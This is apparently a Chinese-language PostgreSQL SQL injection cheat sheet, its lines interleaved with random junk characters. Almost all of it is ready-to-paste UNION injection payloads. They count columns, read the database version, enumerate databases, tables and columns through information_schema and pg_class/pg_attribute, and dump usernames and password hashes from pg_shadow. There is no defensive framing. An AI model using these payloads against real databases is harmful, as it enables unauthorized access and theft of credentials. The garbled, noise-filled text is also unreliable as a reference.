结合了MSSQL MySQL Oracle的一些特点
9 b+ m" P7 |' u支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/; P. A" v, {' E: E7 J/ E
连接符: %20 , + , /**/ 内置函数: t. Q" p+ W9 O
current_database() //当前数据库名0 T0 F3 @0 [2 I
session_user //会话用户
1 ?2 }; g( b6 @3 o9 e7 mcurrent_user //当前数据库用户5 d6 _; h( g$ G5 W2 j
user //当前用户
8 r; Z( {2 p. ^version() //数据库版本 Union注射:; J( v, r7 g5 t: w; E& C& _6 @
order by n–
9 _# Z- K) n5 c( A3 zand 1=2 union select null,null,null–
) h+ G. @4 Q& P' fand 1=2 union select ‘beach’,null,null–
: w3 ^7 o7 h" r" G; a; fand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
7 K- i# K& K6 J4 h6 @7 P2 D$ k# Qgroup_concat(table_name)
. {- `' q' ? }# i$ ?and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
1 i8 z7 l# w; c nand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–0 M0 [# B$ v" F# v0 ~2 c
(老版本)
2 @$ G) S- R4 j9 k1 Ppg_class.oid对应pg_attribute.attrelid6 G f* I, s% S* [( o
pg_class.relname表名
: U Y" c$ j7 a$ {7 R& \pg_attribute.attname字段名 select relname from pg_class获取表名
4 E8 o5 x+ T6 @% D9 Bselect oid from pg_class where 条件 获取参数
, Q U R3 k1 `! Rselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
6 b/ N" T* J% u* X+ ^1 N, ` Cand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
9 Q* e$ O: v5 F$ W- hand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–. P x3 o$ F! h% f3 D
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
9 q$ ?+ J9 d1 J/ X. J======================================================================
: J# u. L: L. T. Nand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库% [8 n: P* h- @1 ~0 a i4 {7 }" v
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |